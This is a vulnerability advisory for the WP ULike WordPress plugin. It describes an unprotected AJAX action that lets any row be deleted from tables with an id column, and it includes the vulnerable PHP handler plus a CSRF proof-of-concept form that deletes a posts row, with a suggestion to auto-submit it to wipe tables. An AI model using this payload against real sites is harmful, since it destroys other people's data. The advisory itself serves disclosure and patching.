Advisory:

WP ULike allows anybody to delete any row in certain tables

Vulnerability

Last revised:

The plugin contains a wp_ajax action which allows any authenticated user (it doesn’t check permissions) to delete any row of certain tables (the table must begin with $wpdb->prefix and contain an id field). As nonces are not used, this is also vulnerable to CSRF meaning unauthenticated users can access it if they can successfully phish any user of the site.

add_action('wp_ajax_ulikelogs','wp_ulike_logs_process');
function wp_ulike_logs_process(){
  global $wpdb;
  $id = $_POST['id'];
  $table = $_POST['table'];
  $wpdb->delete( $wpdb->prefix.$table ,array( 'id' => $id ));
  wp_die();
}

This functionality should have a nonce, it should be restricted to users with certain permissions, and it should be restricted to only allow deleting from certain tables.

Current state: Fixed

CVSS Summary

CVSS base scores for this vulnerability
Score 5.8 Medium
Vector Network
Complexity Medium
Authentication None
Confidentiality None
Integrity Partial
Availability Partial
You can read more about CVSS base scores on Wikipedia or in the CVSS specification.

Proof of concept

This is the proof-of-concept for an unauthenticated user using CSRF against a logged in user.

  1. Activate the plugin
  2. Remain signed in
  3. Visit a page containing the HTML below
  4. Press submit
  5. Row with id=1 in the $wpdb->prefix.'posts' table will be deleted
  6. The value of id or table can be changed allowing deleting any row in any table with the WordPress prefix at the start of its name, and having an id column
<form method="POST" action="http://localhost/wp-admin/admin-ajax.php">
 <input type="text" name="action" value="ulikelogs">
 <input type="text" name="table" value="posts">
 <input type="text" name="id" value="1">
 <input type="submit">
</form>

In a real attack, the form could be made to auto-submit on page load, and submit the form multiple times with different table and id values meaning that a single user falling for a phish could wipe entire tables.

Advisory timeline

  • 2017-10-18: Discovered
  • 2018-04-16: Reported to plugin author via contact form
  • 2018-04-23: Vendor reported fixed in 3.2 (first reply)
  • 2018-05-14: Advisory published
  • 2018-05-17: Advisory amended based on feedback (we erroneously said “any WordPress table” when only 2 WordPress tables have ID columns)

Mitigation/further actions

Upgrade to version 3.2 or later.